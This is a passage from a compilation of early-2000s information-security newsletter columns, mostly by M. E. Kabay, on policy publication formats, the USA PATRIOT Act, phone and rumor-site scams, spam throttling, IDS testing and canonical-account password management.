Updating dozens, hundreds, or thousands of individual copies of policy documents can be such a headache that organizations simply reprint the entire document rather than struggle with updates. Updates on individual sheets require the cooperation of every user to insert the new sheets and remove the old ones; experience teaches that many people simply defer such a task, sometimes indefinitely, and that others have an apparently limited understanding of the sequential nature of page numbers. Badly updated policy guides may be worse than none at all, especially from a legal standpoint. If an employee violates a new policy but available manuals fail to reflect that new policy, it may be difficult to justify dismissal for wrongdoing.

Electronic One-Dimensional Text

Despite the familiarity and ubiquity of paper, in today's world of near-universal access to computers in the work environment, there is a place for electronic documentation of policies. Such publication has enormous advantages from an administrative standpoint: all access to the policies can be controlled centrally, at least in theory. Making the current version of the policies (and subsets of the policies, as explained in section 28.5.2) available for reference on a server obviates the problem of updating countless independent copies. However, it is true that employees determined to defy authority can make their own copies of such files on most systems, leading to the electronic parallel to the normal situation when using paper: chaotic differences among copies of different age.

One solution to this problem of enforcing a single version is to send every user a copy of the appropriate documents by e-mail with a request to replace their copies of lower version number.

Although this solution is not perfect, it does help to keep most people up to date. A more active approach, using a centralized computer, would scan all systems whenever they are connected to the corporate network, and actively delete and replace outdated policies by the correct current versions.

USA PATRIOT and You (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, I will look at some of the implications of the "Uniting and Strengthening America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism Act of 2001" (USA PATRIOT Act, or USAPA) for network administrators.

The bulk of this brief summary is based on the excellent, detailed analysis of the law provided by the Electronic Privacy Information Center (EPIC) in its extensive report on specific issues in this unprecedented set of changes in the powers of search and seizure granted to law enforcement agencies (LEAs) in the United States.

The USAPA consists largely of amendments to existing laws. In particular, network administrators should be aware that the basis for granting judicial warrants authorizing LEAs to intercept voice and data communications – including electronic mail and Internet usage data – has been greatly expanded.

Specifically, existing legislation (the Wiretap Statute, Title III) already allowed easy authorization of "tap and trace" installations on voice and data networks to intercept phone numbers (the numbers, note – not the conversations or data transfers) helpful in determining the physical location of suspects. I write "easy authorization" because such warrants did and do note requires showing probable cause that an individual or group of people were involved in specific named crimes. An officer of a LEA simply affirms under oath that such a wiretap would be useful in an investigation.

The low standard of proof made perfect sense when Title III governed disclosure of phone numbers and only phone numbers. However, USAPA has changed the nature of the information that can be gathered without changing the nature of the process through which a warrant is obtained. Specifically, the changes to Title III authorized by USAPA now include all forms of data related to Internet communications. EPIC writes, "The full impact of this expansion of coverage is difficult to assess, as the statutory definitions are vague with respect to the types of information that can be captured and are subject to broad interpretations. The fact that the provision prohibits the capture of "content" does not adequately take into account the unique nature of information captured electronically, which contains data far more revealing than phone numbers, such as URLs generated while using the Web (which often contain a great deal of information that cannot in any way be analogized to a telephone number)."

Network administrators will have to think about the implications of this change. Under the simple assertion of interest because of an investigation and entirely without having to show any evidence whatsoever that there is a substantive basis for probably cause to grant this breach of privacy, a representative of a LEA can demand access to the full flow of information moving through your Internet equipment. I suggest that you discuss this issue with your corporate attorneys to be sure that you understand exactly how you will have to respond to LEA officials if they show up at your door with a warrant issued as a result of Title III changes authorized by the USAPA.

The Elements of Policy Style (4)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, I am updating materials I wrote for Chapter 28 (Security Policy Guidelines) of the _The Computer Security Handbook, 4th Edition_ . This fourth column provides suggestions on the use of hypertext for presenting security policies.

Perhaps the most valuable contribution from electronic publication of policies is the availability of hypertext. Hypertext allows a reader to jump to a different section of text and then come back to the original place easily. On paper, forward and backward references are cumbersome, and most readers do not follow such links unless they are particularly keen on the extra information promised in the reference. In electronic files, however, additional information may be as easy to obtain as placing the cursor over a link and clicking.

The most important function of hypertext for policy documents is to provide definitions of technical terms and explanations of the reasons for specific policies.

Some users are more comfortable with printed policies. Hypertext, like other formats of text, generally permits users to print out their own copies of all or part of their policy documentation. Many of the tools also allow annotations by users on their own copy of a file.

HTML and XML

The most widely used hypertext format today is HTML. Its variant, XML, provides additional functionality for programmers, but from the user perspective the hyperlinks are the same. A simple click of the mouse in a Web browser (e.g., Microsoft Internet Explorer, Netscape Communicator, or Opera) branches to a different page. More sophisticated programming allows the use of frames and, with JAVA or ActiveX, pop-up windows. Navigation buttons allow the user to move backward to a previous page or forward to another page. Links can also be used to open new windows so that several pages are visible at once. All of these techniques allow the user to move freely through a text with full control over the degree of detail they wish to pursue.

Rich Text Format and Proprietary Word-Processor Files

Some people prefer to use word-processor files for hypertext. As long as everyone uses the same word-processing software, this approach can work acceptably. For example, it is usually possible to insert a hyperlink to a section of a single document, to a location in a different file on disk, or to a page on the Web. Some word processors, such as Microsoft Word and Corel WordPerfect, allow one to insert pop-up comments; floating the cursor over highlighted text brings up a text box that can provide definitions and commentary.
In addition to explicit links, Microsoft Word and other modern word-processing programs can display a table of headings that allows instant movement to any section of the document.

Rich text format (RTF) is a general format for interchanging documents among word processors, but the results are not always comparable. For example, a comment created using Microsoft Word shows up as a pop-up box with a word or phrase highlighted in the text; the same comment

and marker read from an RTF file by Corel WordPerfect shows up as a balloon symbol in the left margin of the document.

Portable Document Format

Adobe Acrobat's portable document format (PDF) provides all the hyperlinking that HTML offers, but it does so in a form that is universally readable, and that can be controlled more easily. The free Acrobat reader is available for multiple operating systems from *http://www.adobe.com*. PDF documents can easily be locked, for example, so that no unauthorized changes can be made. In addition, unlike HTML and word-processor documents, PDF files can be constructed to provide near-perfect reproduction of their original appearance even if not all the fonts used by the author are present on the target computer system. To create PDF files, one uses the Acrobat product; the installation adds two printers to the printer list. The Acrobat PDFWriter program produces relatively crude output that does not always look identical on all systems, but the Acrobat Distiller program produces highly controllable output with uniform properties. Adobe Acrobat also allows one to create a detailed table of contents for documents. Finally, the full version of Acrobat allows users to add their own personal notes [they look like classic Post-IT (TM) Notes] to any PDF file.

Help Files

Help files also provide hypertext capability. In the Windows environment, one can create help files using utilities such as Help & Manual from < *http://www.ec-software.com* > or AnetHelpTool from < *http://www.topshareware.com/AnetHelpTool-download-279.htm* >. Entering the search string "create help files" into a search engine such as Google < *http://www.google.com* > brings up many pages of such tools. Windows Help files can be distributed easily to any Windows user because they are relatively small, and they are loaded almost instantly by the Help subsystem. In addition, users are permitted to add their own notes to such documents and can easily print out sections if they wish.

USA PATRIOT and You (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, I am looking at some of the implications of the "Uniting and Strengthening America by Providing Appropriate Tools Required to Intercept and Obstruct Terrorism Act of 2001" (USA PATRIOT Act, or USAPA) for network administrators.

Following along the analysis I began summarizing in the previous article, the Electronic Privacy Information Center (EPIC) notes several other changes in existing laws that I believe will affect how network administrators have to comply with demands for wiretaps.

One change that may please many network administrators is that suspected violations of the Computer Fraud and Abuse law (18 USC 1030) can now be used as a basis for obtaining a wiretap under Title III. It may be easier now to get rapid response to a report of intentional unauthorized access to any federal-interest computer in the USA (i.e., to any system owned or used by government departments or agencies, financial institutions, credit-reporting agencies or by some contractors working under contract for such entities).

Another section (204) of the USAPA amends existing laws to permit access to stored voice-mail "through a search warrant rather than through more stringent wiretap orders." [EPIC] Sections 216 and 220 allow surveillance to be extended throughout the United States instead of being limited to a narrow geographic court jurisdiction. This provision will certainly aid law enforcement agencies (LEAs) in carrying out their investigations on the highly mobile and interconnected population of suspects, but it has implications for network administrators too. Heretofore, an organization that objected to the terms of a wiretap or other surveillance order would have to appear in a relatively local court to present its case; now, the court may be on the other side of the country. In cases of problematic justification for court orders, organizations will have to weigh the value of protecting employee and customer privacy against the time and money costs of travel and legal representation in other jurisdictions. Remember too that corporate attorneys may not be licensed to practice in distant jurisdictions, leading to additional costs for local attorneys.

One of the most controversial changes authorized by the USAPA is in section 213, where LEAs are authorized to delay notification of their search and seizure procedures. In addition, when the FBI demands records (or any other "tangible things") under court order, section 215 includes language that specifically forbids anyone involved in producing those things from revealing the fact that they were demanded and supplied. This rule must be incorporated into the procedures to be followed by network administration personnel to avoid inadvertently breaking the law when complying with FBI requests under these statutes. Some librarians and bookstore owners have been infuriated by this gag order and have taken to posting signs in their facilities that read, "The FBI has not yet demanded records about any of our members' / customers' reading habits. Watch for disappearance of this sign." It remains to be seen whether such measures will be tolerated by the courts.

In summary, the USAPA has wrought significant changes in the laws of surveillance, search and

seizure in the USA and network administrators should be working with their corporate counsel right now to adapt corporate policies to ensure full compliance with these changes. It would be irresponsible to break the law by inadvertence through ignorance of our responsibilities.

The question of whether the USAPA should be renewed after its sunset date of December 31, 2005 is left to the individual reader.

Don't Call Me

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Today I registered my home and office phone numbers in the National Do Not Call Registry (NDNCR). This US government service, organized by the Federal Trade Commission (FTC), was created in response to an overwhelming tide of public annoyance at the practices of telemarketing firms. The Registry allows people to register their phone numbers so that telemarketers must refrain from calling them; the exceptions are "political organizations, charities, telephone surveyors or companies with which you have an existing business relationship." [FAQ]

The NDNCR has already spawned a new scam: people claiming to put victims' numbers on the list for a fee. It would be kind to include a warning in your next security newsletter to employees warning everybody that any such attempt to garner phone numbers and fees are fraudulent. There is no charge for registration.

Telemarketers are required by law to update their lists at least every three months. Violation of the DO NOT CALL registration can lead to fines if the victim complains. In addition, the FTC alerts everyone that even exempt telemarketers are required to remove your number from their call lists immediately upon demand.

Remind your users that no one should ever agree to supply credit-card information to any stranger who calls soliciting donations by phone; all legitimate organizations will ask for permission to send paper documents with details of their location and other information about their organization. Granting credit-card details to unidentifiable strangers over the phone is simply asking to be robbed.

One other quick note: the registration process uses e-mail. For each phone number supplied, the NDNCR Web site sends you an e-mail message with a coded URL that confirms the addition of the number. It asks you to print the message. Personally, I find it easier to keep track of all my online transactions simply by saving them with a descriptive name as a TXT or HTM file in a directory called [d]:\Archives\Orders (where "d" is the disk drive letter). It's easy to print those on demand or to include them in an e-mail message if I ever need to return a defective product or for any other reason relating to the transaction.

The Elements of Policy Style (5)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, I am updating materials I wrote for Chapter 28 (Security Policy Guidelines) of the _The Computer Security Handbook, 4th Edition_ . This fifth and final column provides suggestions on maintaining security policies.

There can be no fixed policy document that covers all eventualities. The information security field changes constantly, and so must policies. Information security is a process much like total quality management: for success, both require a thoroughgoing integration into corporate culture.

Above all, some named individuals must see maintaining security policies as an explicit part of their job descriptions. Hoping that someone will spontaneously maintain security policies is like hoping that someone will spontaneously maintain financial records. However, security policies should represent the best efforts of people from throughout the organization, not the arbitrary dictates of just one person.

Review Process

An information protection working group can meet regularly—quarterly is a good frequency to try—to review all or part of the policies. Employees can be encouraged to suggest improvements in policies or to propose new policies. The working group can identify key areas of greatest change and work on those first, leaving minor policy changes to subcommittees. Members of the working group should discuss ideas with their colleagues from throughout the enterprise, not just with each other. Every effort should contribute to increasing the legitimate sense of involvement in security policy by all employees, including managers and executives.

Announcing Changes

Drafts of the new versions can be circulated to the people principally affected by changes so that their responses can improve the new edition. Truly respectful enquiry will result in a greater sense of ownership of the policies by employees, although few of them will rejoice in the new policies. Some employees will see new security policies merely as a mild irritant, while others may view them as a tremendous obstacle to productivity, and a general nuisance.

Ideally, major changes in policy should be described and explained in several ways. For example, a letter or e-mail (digitally signed, one hopes) from the President, Chair of the Board of Directors, Chief Officers (CEO, CIO, CFO), or the Chief Information Security Officer can announce important changes in policy and the reasons for the changes. A brief article in the organization's internal newsletter, or a spot on the intranet, can also provide channels for communicating the policy decisions to everyone involved.

Vmyths Deserves Our Support

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Rob Rosenberger, the well-respected (and sometimes detested) co-founder of Vmyths.com, is going the Persian Gulf to serve the nation in his capacity as an Air Force reservist and professional military historian. With his colleagues Eric Robichaud and Dr George C. Smith (author of the famous book, _The Virus Creation Labs_), Rosenberger has been publishing factual analysis of viruses, virus hoaxes, and marketing hyperbole since 1988. The Vmyths site is known as a reliable source of information for debunking scary stories about non-existent threats (e.g., the "jdbgmgr.exe" virus hoax, which tricks gullible victims into deleting a perfectly normal operating system file – just like the old "sulfnbk.exe" hoax of 2001). More dangerously for the Vmyths crew, they also regularly puncture exaggerated press releases from incompetent antivirus-company market droids with only the faintest notion of the technical details they include in their alarmist news releases about the latest End-of-the-Internet-Virus/Worm attacks and why their company's products are the only solution to prevent the End-of-the-Internet. Then they proceed to enrage news organizations whose reporters believe that publishing news stories can legitimately consist of adapting press releases from vendors without checking any facts.

The bad news for all of us who depend on the site for accurate analysis of malicious software news is that Vmyths long ago ran out of money and may close permanently.

Rosenberger has steadfastly refused ever to accept advertising from antivirus companies because of the conflict of interest that such dependence would cause. For example, his research on the astounding story about how the antivirus industry supplied live virus code to the government of China back in 2000 (see "The China Syndrome") caused such a ruckus that Rosenberger was asked by US government officials not to publish an article specifically identifying a particular company as a chief actor in the scheme (see "Replacement Column" for details).

I feel strongly that losing Vmyths would be a serious blow to all of us who benefit from its irreverent independence and intelligence (in all senses of the word). I call on my readers to mobilize their pocketbooks and their marketing departments to help save this site from stasis and oblivion by

(a) Contributing directly to the fund (see "Vmyths needs your support") as I just have via a link on their Web site;
(b) Contacting Eric Robichaud (phone +1.401.767.3106 x221) to discuss advertising and sponsorship on the site.

In addition, if there are any venture capitalists out there, Vmyths could do with a solid infusion of capital to establish an endowment, so think about that too.

In the meantime, I wish Rob all the best as he travels to the Gulf and hope that he (and all the troops) will return safely home soon.

Strikeback Firestorm

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Anthony B. Nelson, President of the ESTec Systems Corp. in Edmonton, Alberta, Canada < http://www.estec.com > very kindly wrote to me with an interesting followup to an article on not striking back against perceived attacks from a few months back. The following is Mr Nelson's slightly edited text:

>Some time ago a firewall called Sidewinder had an option for a _finger_ attack. If you enabled it and the firewall recognized an attack it would initiate a retaliatory _finger_ attack against the originator of the attack.

Two of my clients had purchased Sidewinder firewalls and both had enabled the strikeback feature. The two companies also had a joint venture project going on. An employee from company A was seconded to company B for the duration of the project. When he arrived at company B, he tried to access internal resources at company A as he believed he was allowed to do. It did not work, so he repeatedly tried different ways to do it. At some point in this process, the Sidewinder firewall at company A determined that his activity constituted an attack; it therefore initiated a strikeback. The Sidwinder firewall at company B looked at the strikeback and determined that _it_ was an attack and so it initiated its own strikeback to A's strikeback.

Both companies at that time were running T1 lines to the Internet. The firewalls filled the pipe with attack and counterattack, effectively cutting both companies off the net until an administrator at one of the companies shut down their firewall, ending the data storm.

I was asked to perform the forensic analysis of the event. After reading my report, both companies turned off the strikeback feature.<

My thanks to Mr Nelson for this excellent example of a data storm. In system engineering terms, the situation exemplifies a positive feedback loop; each component responds with an increased reaction to the response of the other component and so the problem gets worse and worse. From a programming standpoint, the situation is similar to a deadly embrace, since each firewall is waiting for the other to stop. The problem cannot be resolved by the firewalls themselves; termination requires external intelligence and intervention. Finally, in a sense, the problem is a kind of race condition, since it does not occur unless the communicating systems have the misfortune to pick partners with the same configuration (much as in a programming race condition, where a problem doesn't happen unless two processes interact in a particular sequence and time-window).

Keep those interesting cases coming, folks!

Insider Attacks: A Thorny Problem

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Prof. Jim Maloney, one of the stellar instructors in the Norwich University MSIA program, recently circulated a pointer to a Gartner Group press release on insider crime < http://www3.gartner.com/5_about/press_releases/pr29may2003a.jsp >. The headline reads, "Gartner Says 60 Percent of Security Breach Incident Costs Incurred by Businesses Will Be Financially or Politically Motivated" and the text includes such warnings as, "By 2005, 60 percent of security breach incident costs incurred by businesses will be financially or politically motivated, according to Gartner, Inc. . . . Most of these financial losses will be the work of insiders working alone or in conspiracy with outsiders." According to Richard Hunter, VP for Gartner, "There is a delicate balance between limiting insider access to information and crippling the ability to create revenue. . . . Generally, this conflict between security and commerce is resolved in favor of creating revenue and therefore facilitating insider crime."

How do we know insider crime is a problem? How do we know it's increasing? Alas, we have to work mostly with imprecise information. Word of mouth among security experts consistently suggests that only about 10% of all computer-related crimes are ever reported, but that just refers to those that are detected. By definition, we know nothing about crimes that aren't detected (except that some old crimes occasionally pop into view months or years later). As for surveys, all of them use self-selected samples, so we cannot rely much on the precise numbers we get; however, they are useful in getting a sense of the range of crimes and costs that the respondents encounter. Surveys that report changes in trends suffer from the fundamental difficulty of all non-random sampling: we cannot tell if the year-to-year changes represent the underlying phenomenon (crime rates and costs) or in confounding variables (willingness to report the crimes and bias in estimating costs).

But all that aside, Mr Hunter hits an important point in his comment above: insider crime is even harder to defend against than external attacks. Protecting information against outsiders is, at least in principle, relatively simple: after all, they aren't normally supposed to have access to confidential information at all (this simple view does ignore the real complications of supply-chain and customer-relationship management, in which sharing information with trading partners is a key to long-term success). But how do we handle information sharing within our own organizations? How do we maintain an environment that fosters creativity through the free flow of knowledge and ideas while protecting ourselves against damage from Bad People?

I think that the best approach is to use everything we know about proper hiring and management of employees to select trustworthy people and to maintain vigilance against dishonest and disgruntled staff members. As a general policy, I strongly support the view that our default mode in most organizations should be to share information internally unless it needs to be sequestered. That means, for example, that ideas on improving a product would be considered company-confidential and fair game for discussion among employees; in contrast, the specific development details in the engineering department would be classified as department-confidential and restricted to those with a need to know.

I think that with an appropriate balance between security and openness, we can have our creative cake without giving it away to be eaten by our competitors.

Time To Stop Spam

by Stephen Cobb, CISSP
Adjunct Professor, MSIA Program
Norwich University, Northfield VT

[Note from M. E. Kabay: My good friend and colleague Stephen Cobb sent me this good news about progress in the fight against spam. Introducing delays into network responses is a well-established approach to interfering with automated attacks; for example, automated dictionary attacks on passwords via logon interactions can be stymied by a two- or three-minute delay every few wrong-guesses. I'm glad to see someone implementing this technique to deal with the wretched people who are abusing the 'Net with their floods of junk.

As a matter of full disclosure, I (MK) have no commercial relation whatsoever with the vendor named in the following article. Please communicate directly with Stephen Cobb for all commentary about this article.]

* * *

Networks can use time to stop spam – and I mean this quite literally. People may argue about the definition of unsolicited bulk e-mail or spam, but nobody disputes the fact that it continues to grow in volume, month after month, despite lawsuits and legislation (spam is already illegal in 30 states and, since most spam is commercially deceptive, much of it is a violation of the Federal Trade Commission Act).

And nobody disputes the fact that spam places network administrators between a rock and hard place, where the rock is user complaints and the hard place is mail servers that are groaning and, all too often, collapsing, under the weight of expanding spam traffic. Security officers are being challenged as well, by spam's threat to uptime and availability, and its growing popularity as a distribution mechanism for malicious code and fraudulent scams.

Unfortunately, but perhaps understandably, the most common choice for anti-spam defense is filtering. This assumes spam is akin to malicious code, something you can readily identify and quarantine. But spam is the Achilles of e-mail threats, at once more powerful and yet more vulnerable. If you doubt the power of spam, talk to your local ISP. When a spammer targets your domain you can be staring down the barrel of a spam cannon firing 6 million messages an hour (entirely possible using an OC3 and a six-pack of optimized MTAs equivalent to the Ironport A60).

Some Spam will always beat filters. This is because spam shares so much digital DNA with legitimate high volume e-mail--like this newsletter or my Discover card payment reminder--as to be practically indistinguishable. Rachet up the filters and you loose wanted e-mail. As for blacklisting as a spam defense, that is now fraught with problems too numerous to mention.

And spammers have a strong incentive to beat filters and blacklists: economics. Unlike virus writers, spammers are in it for the money. Which turns out to be good news, because that is also their Achilles' heel. Consider what happens to a spam cannon when the target network is so slow, most of the messages don't even leave the barrel: It moves on to the next target. In other words, if you can't get a network to accept a high rate of messages per minute, there is clearly no

money to be made there, and you move on.

I know this because my colleagues in ePrivacy Group's anti-spam laboratory figured out how to make a large network appear--to spammers--as though it is very slow. When they tried this trick at an ISP whose servers had been collapsing under relentless spam attacks, the effect was immediate and quite astonishing. Spam attacks were either repelled or displaced. The good e-mail came through faster, without false positives, and server loads returned to manageable levels while user complaints plummeted.

The techniques used to accomplish this, a combination of traffic analysis and traffic shaping, have now been "productized" in an appliance that can be dropped into place between the Internet and an organization's e-mail servers. The technology, appropriately named SpamSquelcher, works best when it is applied to networks of 5,000 mailboxes or more, and it can be an effective complement to filtering strategies. That's because spam squelching eliminates the biggest weakness of filtering: the need to receive all the messages that a spammer sends in order to then decide which are spam and which are ham.

Whether you filter in-house or through a service, the spam has to be accepted by someone before a filter can look at it--which actually tends to increase spam volumes. Besides, if your first line of defense is squelching, rather than filtering, you can not only win back valuable server capacity, but also enjoy the distinct pleasure of knowing you are making like more difficult for spammers. And maybe, if enough networks adopt this strategy, the age of spam could come to an end, finally done in by the manipulation of time.

NC4 Supports Infrastructure Protection

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The National Center for Crisis and Continuity Coordination (NC4) provides a useful service to private industry, law enforcement and government organizations who need to coordinate information sharing for infrastructure protection. The firm, a division of Candle Corporation, provides Web-based tools for defining groups of cooperating organizations and establishing modalities for secure communications among the members. Communications can include such elements as

* daily bulletin
* secure communications channels
* exercises, education & training
* color-coded visual status tracking system
* online customizable knowledge base.

The firm's home page at http://www.nc4.us currently defaults to a list of pointers to recent news articles about homeland security. A drop-down menu box at the top allows one to select from headlines from the most recent month of activity. Other news topics indexed on other pages include

* Business Continuity
* IT Disaster Recovery
* Cyber Crimes & Viruses
* Natural Disasters
* Bioterrorism
* International Terrorism
* Nuclear,Biological,Chemical Contaminates
* Hazardous Materials
* FEMA (Federal Emergency Management Agency).

Another section points to local and national alerts including

* Regional Traffic Conditions
* Severe Weather Alerts
* Earthquake Activity
* FAA Operational Delays.

NC4 also provides a systematic approach to incident management that can be adapted to the needs of participants. Consultants are available on demand to support development and implementation of the plans.

I met Jeff Covert, VP of Consulting for NC4, at the National InfraGard Congress in June 2003. I asked him what he felt was the single most important contribution NC4 could make to infrastructure protection. He answered, "We help people realize that their community is part of a wider community. We help build bridges among those communities to be aware of threats, respond and recover effectively. If you have a broader view, you can be more resilient in responding to threats."

It's far better to think about contingencies with factual information at hand than to base our plans on complete speculation, and it's always better to plan responses to emergencies than to react in a scatterbrained panic. I hope that some readers will find the resources above helpful in your own work as you manage networks and plan for appropriate responses to various emergencies.

Finally, the usual disclaimer: I have no association whatever, professional or financial, with the NC4. However, I wish them well in what seems to be a useful contribution to emergency planning.

New NIST ITL Report on IDS

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The crew at the Information Technology Laboratory (ITL) of the National Institute of Standards and Technology (NIST) has recently published another valuable report for everyone interested in network security: NISTIR 7007, _An Overview of Issues in Testing Intrusion Detection Systems_ is available from the index page at < http://csrc.nist.gov/publications/nistir/index.html > (which points to many other useful reports) or directly as an Acrobat PDF download from < http://csrc.nist.gov/publications/nistir/nistir-7007.pdf >. In the most recent ITL BULLETIN (July 2003) which is available free by e-mail using instructions at < http://www.itl.nist.gov/lab/bulletns/subinfo.htm >, the editor, Elizabeth Lennon, summarizes the key findings of the report. Some of the highlights from her summary (paraphrased unless quoted):

Authors:

The report was written by "Peter Mell and Vincent Hu of NIST's Information Technology Laboratory, and Richard Lippmann, Josh Haines, and Marc Zissman of the Massachusetts Institute of Technology Lincoln Laboratory."

Purpose:

"The results of quantitative evaluations of IDS performance and effectiveness would benefit many potential customers. Acquisition managers need this information to improve the process of system selection, which is often based only on the claims of the vendors and limited-scope reviews in trade magazines. Security analysts who review the output of IDSs would like to know the likelihood that alerts will result when particular kinds of attacks are initiated. Finally, R&D program managers need to understand the strengths and weaknesses of currently available systems so that they can effectively focus research efforts on improving systems and measure their progress."

Measurable IDS Characteristics [for clarity in this abbreviated list, I have renamed some of these from the terms used by the authors]:

* Coverage: proportion of the known attacks recognized by the IDS "under ideal conditions";

* False-alarms (false positives): how often the IDS incorrectly claims a normal transaction is an attack;

* Detection rate: how often the IDS correctly identifies an attack;

* Resistance to attacks directed at the IDS itself;

* Capacity for high-bandwidth applications;

* Correlation: "This measurement demonstrates how well an IDS correlates attack events. These events may be gathered from IDSs, routers, firewalls, application logs, or a wide variety of other devices. One of the primary goals of this correlation is to identify staged penetration attacks. Currently, IDSs have only limited capabilities in this area."

* Generic identification: how well will the IDS identify attacks that are not include in signature files?

* Identification & classification: "This measurement demonstrates how well an IDS can identify the attack that it has detected by labeling each attack with a common name or vulnerability name or by assigning the attack to a category."

* Discrimination: ability to distinguish successful penetrations from probes;

* NIDS Capacity Verification: Network IDS "demands higher-level protocol awareness than other network devices such as switches and routers; it has the ability of inspection into the deeper level of network packets. Therefore, it is important to measure the ability of a NIDS to capture, process, and perform at the same level of accuracy under a given network load as it does on a quiescent network."

* Other measurements: "There are other measurements, such as ease of use, ease of maintenance, deployments issues, resource requirements, availability and quality of support, etc. These measurements are not directly related to the IDS performance but may be more significant in many commercial situations."

The report continues with the following topics:

* IDS testing efforts to date (highly variable in "scope, methodology, and focus");

* IDS testing issues (difficulties in collecting and analyzing attack scripts, differences between signature-based vs anomaly-based IDS, network-based vs host-based IDS, and approaches to handling background traffic);

* Recommendations for research methodology.

The research was funded in part by Defense Advanced Research Projects Agency (DARPA). Nice to see our tax dollars at work.

Imaginary-Rumor Mill

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I received an impressive-sounding alert one morning that announced that someone had posted information about me anonymously at < http://www.word-of-mouth.org >: "Our automated system has sent this email to you because someone just submitted a "Word-of-Mouth Report" at our website regarding the person or persons that use this email address: mkabay@norwich.edu."

The site simply reported that some anonymous person who has "known me well" "for ten years or more" posted some unspecificd information about me. The FAQ at the site went into much detail about how no defamatory material about anyone is stored on their servers. The trick is, though, that to obtain the gossip about you (or anyone else) from the anonymous person who is supposedly waiting to divulge all, you have to pay the owners (oh sorry, to "HELP SUPPORT WORD-OF-MOUTH.ORG") $19.97 a year to contact the anonymous gossip.

Something's not kosher here.

* Any system that provides anonymous information is inevitably going to spread misinformation, either because of incompetence or because of malice. Rumors are usually wrong in substance or in detail, whether they're spread through conversation at the water-cooler, through phone calls, via e-mail, or through a for-profit system using anonymized e-mail. Anonymity breeds irresponsibility.

* This site is registered as an ORG (reserved for non-profit organizations) and yet it charges money to users to find out what rumors are being circulated about them through its auspices. According to the FAQ, "The purpose of this site is to spread the valuable information source known as 'word-of-mouth' on a level never before known in the history of mankind, as a result helping the people of our world to make better decisions about the people they meet and know." Wouldn't one expect such an ostensibly laudable site to make the rumors available to their subjects free of charge for verification?

* Mitch Ratcliffe points out that in the USA, at least, privacy principles generally establish that a data subject should have access to information about themselves; he writes, "This is reprehensible abuse of identity and I'd like to find a lawyer to help take the guy behind it to court."

* Why would anyone want to post positive information anonymously? Well, as Michael Pugliese points out in a discussion thread, it's a perfect opportunity to post anonymous puffery about oneself for business purposes. So if anyone is stupid enough to rely on anonymous testimonials, they may deserve what they get. But who among friends and colleagues who "know the subject well" would ever post anything to such a site in the first place without communicating with the subject first?

* There is no way for a victim of defamation to force removal of an entry in the database. The

entry simply lists the anonymized contact point for someone who is spreading defamation, but there's no way to locate that defamer and no mechanism for forcing the company running the rumor mill to remove the contact point for that person.

* As pointed out by a blogger named Chris (I was unable to find his or her full name), it's very peculiar that anyone would be willing to respond time after time to individual requests for the information supposedly available through the anonymized e-mail. What kind of person wants to respond to dozens, hundreds or thousands of requests for gossip? What's the motive?

* Larry Seltzer at the Security Supersite wrote about this site at the end of May 2003. He provides links to discussions of the people who have been running this scam for several years under a variety of domain names; several correspondents stated that when some victims pay their fees and ask for the anonymous rumors, they receive no reports at all – they're "lost" or "unavailable."

* The Urban Legends Reference Pages have an entry for this site < http://66.165.133.65/computer/internet/wordofmouth.asp > where the author warns, ". . .Word-of-Mouth.Org . . . attempts to lure the gullible into joining their 'service' by spamming Internet users with ominous-sounding exhortations . . . . But only a sucker would pay to find out what anonymous people are saying about him, since anybody (including the people operating the service) could be generating the gossip."

Bottom line: ignore the alerts, add the domain to your spam-blocking list, warn your employees about the scam in your next security newsletter, and be prepared to calm down Aunt Bertha when she comes to you in alarm with one of the "reports."

And for those with some free time on your hands, see if you can interest Internet-fraud investigators into looking into these people's activities.

Locking Down Canonical Accounts

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Reader John Bumgarner told me about some nifty work he's been doing to lock down canonical accounts – those standard accounts that have the same password across all systems at the time they're installed. Typically they are used for system administration by software and hardware vendors but are left in their initial state because system owners don't realize that the accounts are there and vulnerable. These canonical accounts must have their passwords changed at once to prevent abuse, but many systems have their doors propped wide open by unchanged standard passwords. Another approach, on those systems that use resource accounting and controls, is to assign a zero value to some critical feature (such as maximum allowed CPU seconds or maximum allowed session minutes) for a canonical account; such a value precludes new logins to that account until system managers reset the parameter.

With my usual disclaimer (I have no financial relationship whatever with Mr Bumgarner, his product or his company), here's an edited version of what Mr Bumgarner wrote about his software project:

* * *

Canonical accounts not owned by end-users are among the easiest avenues for breaching system or network security. These trophy accounts often protect the crown jewels of an enterprise, but they are often configured to allow easy access to anyone.

On one security project I found an account that controlled hundreds of servers. Once the password for that account was broken, an attacker could pillage the network. The customer had no mechanism for rotating the account's password or auditing the account.

Out of that encounter I got an idea for a new security application, PassGuard (not to be confused with the PassGuard Framework that handles encryption of passwords), that would reduce administrator workload and improve security by generating complicated passwords and changing them automatically at set intervals. These automatically-changed passwords, coupled with an audit trail, should interfere with brute-force attacks on the canonical accounts.

A typical complex password would look like this:
%Z7F(TMP,ABp8_Gu`$#pVJA21<zmT7]`}HA'j"$N]GEGm=IO8JJn!XJbQ7&m}wq(lU?G<@H\ot1}ho\kQgmbu(Q(!V&=7?PK6S#th<8]zpFR.]ZP{3+\qy{4A,,z2Ue. A supercomputer running 43 trillion calculations per second would take about 5 x 10^32 years to stumble upon this password using brute-force testing.

When a person does need to access the system using one of the accounts protected by the complex password, he or she removes the account from the management mode and sets a new, human-usable password. The account can later be added back to the management queue with a few mouse clicks. One can even schedule the account to be automatically added back to the

